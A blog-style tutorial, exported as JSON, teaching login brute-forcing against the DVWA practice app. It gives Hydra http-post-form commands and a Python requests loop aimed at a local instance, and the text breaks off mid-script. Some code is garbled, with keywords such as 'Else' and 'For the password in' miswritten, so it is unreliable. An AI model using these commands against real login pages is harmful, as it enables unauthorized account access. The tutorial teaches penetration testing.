{"id":6507,"date":"2025-05-31T11:37:20","date_gmt":"2025-05-31T11:37:20","guid":{"rendered":"http:\/\/www.examcollection.com\/blog\/?p=6507"},"modified":"2026-01-08T05:56:05","modified_gmt":"2026-01-08T05:56:05","slug":"dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script","status":"publish","type":"post","link":"https:\/\/www.examcollection.com\/blog\/dvwa-login-bruteforce-attack-with-hydra-and-custom-python-script\/","title":{"rendered":"DVWA Login Bruteforce Attack with Hydra and Custom Python Script"},"content":{"rendered":"<p><b><\/b><span style=\"font-weight: 400;\">In the field of cybersecurity, mastering the art of penetration testing is essential to protecting web applications from malicious attacks. One of the fundamental attack methods that security professionals study is the brute force attack. This method involves systematically attempting all possible combinations of credentials to gain unauthorized access. To practice and understand these techniques safely, many turn to intentionally vulnerable platforms like the Damn Vulnerable Web Application, commonly known as DVWA. This article provides an in-depth look at DVWA, the nature of brute force attacks, and why understanding these concepts is crucial for ethical hacking and web security.<\/span><\/p>\n<h2><b>What is DVWA?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">DVWA stands for Damn Vulnerable Web Application. It is an open-source PHP\/MySQL web application designed specifically for security enthusiasts and professionals to practice their hacking skills in a controlled and legal environment. DVWA intentionally contains numerous vulnerabilities commonly found in real-world applications, making it an ideal platform for learning and testing security tools and techniques.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The platform includes various security challenges that mimic real web application flaws, such as SQL injection, Cross-Site Scripting (XSS), Command Injection, and, importantly for this series, authentication vulnerabilities like brute force attacks. The configurable security levels in DVWA\u2014from low to high\u2014allow users to gradually increase the difficulty of their tests as their skills improve.<\/span><\/p>\n<h2><b>Why Use DVWA for Brute Force Practice?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Brute force attacks on login pages are one of the simplest yet most effective methods attackers use to gain access to unauthorized accounts. Despite its simplicity, many applications still lack proper defenses against such attacks, making brute forcing a relevant threat. However, launching brute force attacks against live or production sites without permission is illegal and unethical.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">DVWA provides a safe playground where security professionals can test brute force techniques, understand how attacks work, and explore how to defend against them. It replicates the environment and challenges that penetration testers face in real scenarios, including login forms with fields for username and password, session management, and varying security mechanisms.<\/span><\/p>\n<h2><b>What is e Force Attack?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">A brute force attack is a method used by attackers to gain access to accounts by systematically trying every possible password or key combination until the correct one is found. The attack relies on computational power and persistence rather than exploiting software vulnerabilities.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">There are different types of brute force attacks:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>Simple Brute Force:<\/b><span style=\"font-weight: 400;\"> Trying all possible combinations sequentially, which can take a very long time depending on password complexity.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Dictionary Attacks:<\/b><span style=\"font-weight: 400;\"> Using a predefined list of likely passwords (wordlists) to reduce time.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Hybrid Attacks:<\/b><span style=\"font-weight: 400;\"> Combining dictionary words with numbers or symbols.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Credential Stuffing:<\/b><span style=\"font-weight: 400;\"> Using leaked username and password pairs from other breaches to attempt logins.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Brute forcing targets the authentication mechanism, usually the login page of a web application. Attackers try various usernames and passwords until a successful login occurs. If no security controls exist, attackers can compromise accounts quickly.<\/span><\/p>\n<h2><b>How Do Brute Force Attacks Work on Web Login Pages?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">When an attacker targets a login page, the brute force attack usually involves automated tools that submit login requests repeatedly with different credentials. These tools mimic legitimate user behavior by sending HTTP POST requests to the server&#8217;s login endpoint.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Each attempt involves submitting a username and password pair through the form parameters. The server then authenticates the credentials and responds with either a successful login or an error message. The attacker\u2019s tool monitors these responses to identify when the correct credentials are found.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">One of the challenges of brute forcing login pages is handling the form structure and any security tokens, such as CSRF tokens, that may be present to prevent automated submissions. Therefore, understanding how the login form works is critical to crafting an effective brute force attack.<\/span><\/p>\n<h2><b>Introducing Hydra: A Powerful Brute Force Tool<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Hydra is a popular open-source tool designed to perform rapid brute force attacks against various network services, including HTTP(S), FTP, SSH, Telnet, and more. It is widely used in penetration testing due to its speed, flexibility, and support for multiple protocols.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In the context of web applications like DVWA, Hydra can be used to automate login attempts by specifying parameters such as the target URL, form fields, and wordlists for usernames and passwords. Its ability to perform parallel attempts and customize attack parameters makes it a preferred choice for brute forcing.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">However, while Hydra is powerful, it requires some understanding of the targeted web application&#8217;s login process and may need fine-tuning to handle dynamic elements or security controls properly.<\/span><\/p>\n<h2><b>Setting Up DVWA for Brute Force Testing<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">To start practicing brute force attacks, setting up DVWA correctly is the first step. DVWA requires a web server such as Apache, PHP, and a MySQL database to run. It can be installed on local environments using packages like XAMPP or on virtual machines configured for penetration testing, such as Kali Linux.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Once installed, the DVWA interface allows users to set the security level for various vulnerabilities, including the login page. For brute force practice, the security level should be set to low initially, which disables advanced protections like account lockout or CAPTCHA, making brute forcing straightforward.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Users must also familiarize themselves with the default credentials and login process of DVWA. By default, the username is often &#8220;admin&#8221; and the password &#8220;password,&#8221; but these can be changed to simulate real-world conditions.<\/span><\/p>\n<h2><b>Basics of Python Scripting for Brute Force Automation<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">While Hydra is a command-line tool, scripting brute force attacks with Python provides greater control and customization. Python offers libraries such as requests that allow sending HTTP requests programmatically, handling sessions, cookies, and parsing responses.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Creating a Python script for brute forcing allows testers to build logic that can dynamically respond to server feedback, manage timing between attempts, and integrate with custom wordlists or dictionaries.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Understanding Python basics is crucial for writing effective scripts. This includes knowledge of loops, conditional statements, exception handling, and using external libraries for HTTP communication.<\/span><\/p>\n<h2><b>Ethical and Legal Considerations<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Brute force attacks, while effective, can be disruptive and illegal if conducted without permission. Ethical hacking involves obtaining explicit consent from the application owner before performing any penetration tests.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">DVWA serves as a legal environment for learning these techniques, but testers must always adhere to laws and professional guidelines when applying skills elsewhere. Responsible disclosure and working with organizations to improve security are essential aspects of ethical penetration testing.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">In this introductory article, we have explored the fundamentals of brute force attacks on login pages, the role of DVWA as a training platform, and the capabilities of Hydra as a brute force tool. We also touched upon the benefits of Python scripting for automating these attacks and emphasized the importance of ethical conduct in security testing.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The following parts of this series will build upon this foundation. The next article will focus on performing a brute force attack on the DVWA login page using Hydra, including practical command examples and configurations. Subsequent articles will delve into creating custom Python scripts for automation and discuss advanced techniques and mitigation strategies.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Understanding these core concepts is essential for anyone interested in web application security, penetration testing, or ethical hacking. By practicing in safe environments like DVWA and using powerful tools like Hydra and Python, security professionals can better defend against real-world threats.<\/span><\/p>\n<h1><b>Performing a Brute-Force Attack on the DVWA Login Page Using Hydra<\/b><\/h1>\n<p><span style=\"font-weight: 400;\">In the previous article, we explored the basics of DVWA and the concept of brute force attacks. Now it is time to take a more hands-on approach by using Hydra, a powerful and versatile tool, to perform a brute force attack on the DVWA login page. This article will guide you through the installation, configuration, and execution of Hydra for this purpose, along with practical tips to optimize and customize your attack.<\/span><\/p>\n<h2><b>Installing and Setting Up Hydra<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Hydra is pre-installed on many penetration testing distributions such as Kali Linux. However, if you are using a different operating system, you can install Hydra manually.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">For Debian-based systems such as Ubuntu, the installation command is:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">sql<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">sudo apt-get update<\/span><\/p>\n<p><span style=\"font-weight: 400;\">sudo apt-get install hydra<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">On macOS, Hydra can be installed using Homebrew:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">brew install hydra<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Once installed, verify the installation by running:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">hydra -h<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">This command displays the help menu and confirms that Hydra is ready to use.<\/span><\/p>\n<h2><b>Understanding DVWA\u2019s Login Form Structure<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Before launching a brute force attack, it is essential to understand how the target login page works. DVWA\u2019s login form typically consists of input fields for username and password. Additionally, the form submits the credentials via HTTP POST to a specific URL, often the same login page or a dedicated authentication endpoint.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Use your browser\u2019s developer tools (usually accessible via F12) to inspect the form. Look for the following:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>Form Action URL:<\/b><span style=\"font-weight: 400;\"> This is where the login POST request is sent.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Input Field Names:<\/b><span style=\"font-weight: 400;\"> The name attributes for the username and password fields. For DVWA, these are usually the username and password.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Additional Parameters:<\/b><span style=\"font-weight: 400;\"> Hidden fields or tokens like CSRF tokens that might be required for the request to be accepted.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In DVWA with low security settings, the form is straightforward and usually does not include advanced tokens, making brute force testing simpler.<\/span><\/p>\n<h2><b>Preparing Wordlists for Usernames and Passwords<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Brute force attacks require lists of usernames and passwords to try. These lists are known as wordlists. The effectiveness of your attack depends on the quality of these wordlists.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Common sources for wordlists include:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>RockYou.txt:<\/b><span style=\"font-weight: 400;\"> A famous collection of leaked passwords commonly used in testing.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Custom Wordlists:<\/b><span style=\"font-weight: 400;\"> Tailored lists based on target information or specific patterns.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">For the DVWA demo, you can start with simple lists containing:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Usernames: admin, user, test<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Passwords: password, 123456, admin<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">These can be plain text files, one entry per line.<\/span><\/p>\n<h2><b>Command Structure for Hydra<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Hydra\u2019s syntax can be complex for beginners, but understanding it is key to customizing your attack. The basic command structure for attacking a web form is:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">hydra -L [username_list] -P [password_list] [target] http-post-form &#8220;[form_path]:[parameters]:[failure_condition]&#8221;<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">-L: Specifies the file containing usernames.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">-P: Specifies the file containing passwords.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">[target]: The target IP address or domain.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">http-post-form: Indicates the type of attack, in this case, an HTTP POST form.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">[form_path]: The URL path where the login form is submitted.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">[parameters]: Form data to be sent, including username and password variables.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">[failure_condition]: A string indicating a failed login attempt, which Hydra uses to know if the credentials were incorrect.<\/span><\/li>\n<\/ul>\n<h2><b>Example Hydra Command Against DVWA<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Suppose your DVWA instance is running locally at http:\/\/127.0.0.1\/dvwa\/login.php. The form parameters are:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">pgsql<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">username=^USER^&amp;password=^PASS^&amp;Login=Login<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">And the failure message on unsuccessful login is \u201cLogin failed\u201d.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The command to run Hydra would look like this:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">hydra -L usernames.txt -P passwords.txt 127.0.0.1 http-post-form &#8220;\/dvwa\/login.php:username=^USER^&amp;password=^PASS^&amp;Login=Login:F=Login failed&#8221;<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Explanation:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Hydra will try each username and password pair from the specified lists.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">^USER^ and ^PASS^ are placeholders that Hydra replaces with values from the lists.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">The failure condition F=Login failed tells Hydra to continue trying if this string appears in the response.<\/span><\/li>\n<\/ul>\n<h2><b>Handling HTTP Headers and Cookies<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Sometimes, login pages require session cookies or custom HTTP headers to accept login attempts. Hydra supports specifying headers using the -H option.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">To capture cookies, use browser developer tools to see the cookies sent when you access DVWA, then include them in the Hydra command like this:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">hydra -L usernames.txt -P passwords.txt 127.0.0.1 http-post-form &#8220;\/dvwa\/login.php:username=^USER^&amp;password=^PASS^&amp;Login=Login:F=Login failed&#8221; -H &#8220;Cookie: security=low; PHPSESSID=xyz&#8221;<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">This ensures Hydra\u2019s requests mimic a real browser session.<\/span><\/p>\n<h2><b>Adjusting Hydra Attack Parameters<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Hydra allows customization of the attack\u2019s behavior to balance speed and stealth.<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">-t [number]: Sets the number of parallel threads (attempts simultaneously). More threads increase speed but risk detection.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">-w [seconds]: Timeout for each request.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">-f: Stop when a valid credential is found.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">-V: Verbose mode to see each attempt.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Example with threads and verbose:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">hydra -L usernames.txt -P passwords.txt 127.0.0.1 http-post-form &#8220;\/dvwa\/login.php:username=^USER^&amp;password=^PASS^&amp;Login=Login:F=Login failed&#8221; -t 4 -f -V<\/span><\/p>\n<p>&nbsp;<\/p>\n<h2><b>Limitations and Challenges<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">While Hydra is powerful, some issues can arise during brute force attacks on web login forms:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>Account Lockouts:<\/b><span style=\"font-weight: 400;\"> If the application locks accounts after several failed attempts, brute forcing becomes ineffective.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>CAPTCHA or Rate Limiting:<\/b><span style=\"font-weight: 400;\"> Many modern sites use CAPTCHAs or limit the number of login attempts from a single IP to stop brute force.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Dynamic Tokens:<\/b><span style=\"font-weight: 400;\"> CSRF tokens that change per request require additional scripting or tools to capture and replay.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">In such cases, combining Hydra with custom scripts or proxy tools can help manage dynamic elements.<\/span><\/p>\n<h2><b>Practical Tips for Successful Brute Forcing<\/b><\/h2>\n<ol>\n<li style=\"font-weight: 400;\"><b>Start with low security levels:<\/b><span style=\"font-weight: 400;\"> DVWA allows setting the security level. Start with low to understand the attack mechanics.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Test with small wordlists:<\/b><span style=\"font-weight: 400;\"> To verify your command and configuration, start with a few entries to avoid long waits.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Use proxy tools:<\/b><span style=\"font-weight: 400;\"> Tools like Burp Suite or OWASP ZAP help inspect requests and responses to refine your attack parameters.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Analyze response content carefully:<\/b><span style=\"font-weight: 400;\"> Ensure your failure condition matches the exact error message to avoid false positives.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Respect ethical boundaries:<\/b><span style=\"font-weight: 400;\"> Only perform brute force attacks on authorized targets and environments.<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">This article demonstrated how to perform a brute force attack on the DVWA login page using Hydra. We covered installing Hydra, analyzing the DVWA login form, preparing wordlists, crafting the correct Hydra command, and tips for optimizing your attack. Understanding these steps lays the groundwork for more advanced automation using Python scripts, which will be discussed in the next article.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Mastering Hydra\u2019s usage for web application login brute forcing is a valuable skill in penetration testing. It teaches how attackers exploit weak authentication and how defenders can strengthen login security against such threats.<\/span><\/p>\n<h1><b>Automating DVWA Brute Force Login Using a Custom Python Script<\/b><\/h1>\n<p><span style=\"font-weight: 400;\">In the previous article, we explored how to use Hydra to perform brute force attacks against the DVWA login page. While Hydra is a powerful tool, there are times when custom automation provides greater flexibility and insight into the attack process. In this article, we will create a Python script that automates the brute forcing of DVWA\u2019s login page, allowing for customization, logging, and control over the attack flow.<\/span><\/p>\n<h2><b>Why Use a Python Script for Brute Forcing?<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Using a custom script to automate login attempts offers several advantages over off-the-shelf tools:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><b>Customization:<\/b><span style=\"font-weight: 400;\"> You can easily adapt the script to handle dynamic parameters such as tokens or cookies.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Control:<\/b><span style=\"font-weight: 400;\"> Implement rate limiting or delays to avoid detection or lockouts.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Logging:<\/b><span style=\"font-weight: 400;\"> Capture detailed results, timestamps, and response content for analysis.<\/span><\/li>\n<li style=\"font-weight: 400;\"><b>Learning:<\/b><span style=\"font-weight: 400;\"> Understanding HTTP requests and authentication flow deeply improves security awareness.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Python, with libraries like requests and BeautifulSoup, is ideal for such tasks due to its simplicity and powerful HTTP handling capabilities.<\/span><\/p>\n<h2><b>Setting Up the Environment<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Make sure you have Python 3 installed on your system. Additionally, you need the requests library for sending HTTP requests and, optionally, BeautifulSoup for parsing HTML responses.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Install the required libraries using pip:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">nginx<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">pip install requests<\/span><\/p>\n<p><span style=\"font-weight: 400;\">pip install beautifulsoup4<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">These tools will allow your script to send login POST requests and analyze the server responses.<\/span><\/p>\n<h2><b>Understanding DVWA Login Request<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Before coding, confirm the exact form parameters and URLs used by DVWA. Typically, the login form submits a POST request to \/dvwa\/login.php with these parameters:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Username: The username to try.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Password: The password to try.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Login: The value is usually set to \u201cLogin\u201d to simulate the submit button.<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">The server returns a response indicating success or failure. By analyzing the response text or cookies, your script can determine if the login succeeded.<\/span><\/p>\n<h2><b>Writing the Python Script<\/b><\/h2>\n<p><span style=\"font-weight: 400;\">Below is a step-by-step explanation of the Python brute force script targeting DVWA.<\/span><\/p>\n<h3><b>1. Import Required Libraries<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">import requests<\/span><\/p>\n<p><span style=\"font-weight: 400;\">import time<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>2. Define Target URL and Wordlists<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">target_url = &#8220;http:\/\/127.0.0.1\/dvwa\/login.php&#8221;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">username_list = [&#8220;admin&#8221;, &#8220;user&#8221;, &#8220;test&#8221;]<\/span><\/p>\n<p><span style=\"font-weight: 400;\">password_list = [&#8220;password&#8221;, &#8220;123456&#8221;, &#8220;admin&#8221;]<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">You can replace these lists with file inputs if you prefer reading from text files.<\/span><\/p>\n<h3><b>3. Create a Session<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Using a session object helps maintain cookies between requests, which may be required by DVWA.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">session = requests.Session()<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>4. Define the Login Function<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">This function sends a POST request with the given credentials and checks for success.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">def attempt_login(username, password):<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0# Prepare POST data<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0payload = {<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8216;username&#8217;: username,<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8216;password&#8217;: password,<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8216;Login&#8217;: &#8216;Login&#8217;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0}<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0# Send POST request<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0response = session.post(target_url, data=payload)<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0# Check if login failed by looking for a failure message<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0if &#8220;Login failed&#8221; in the response.text:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return False<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0Else:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return True<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>5. Main Loop for Brute Forcing<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Loop through usernames and passwords, trying each combination.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">for username in username_list:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0For the password in password_list:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(f&#8221;Trying username: {username} and password: {password}&#8221;)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if attempt_login(username, password):<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(f&#8221;[+] Success! Username: {username} Password: {password}&#8221;)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0exit()<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0else:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0print(&#8220;[-] Failed login&#8221;)<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0time.sleep(1)\u00a0 # Sleep to avoid rapid requests<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">The time. Sleep (1) delays each attempt by 1 second, which can reduce server load and detection risk.<\/span><\/p>\n<h3><b>6. Complete Script<\/b><\/h3>\n<p><span style=\"font-weight: 400;\">Putting it all together:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">python<\/span><\/p>\n<p><span style=\"font-weight: 400;\">CopyEdit<\/span><\/p>\n<p><span style=\"font-weight: 400;\">import requests<\/span><\/p>\n<p><span style=\"font-weight: 400;\">import time<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">target_url = &#8220;http:\/\/127.0.0.1\/dvwa\/login.php&#8221;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">username_list = [&#8220;admin&#8221;, &#8220;user&#8221;, &#8220;test&#8221;]<\/span><\/p>\n<p><span style=\"font-weight: 400;\">password_list = [&#8220;password&#8221;, &#8220;123456&#8221;, &#8220;admin&#8221;]<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">session = requests.Session()<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">def attempt_login(username, password):<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0payload = {<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8216;username&#8217;: username,<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8216;password&#8217;: password,<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0&#8216;Login&#8217;: &#8216;Login&#8217;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0}<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0Response = session.post(target_url, data=payload)<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00a0\u00a0\u00a0\u00a0If &#8220;Login 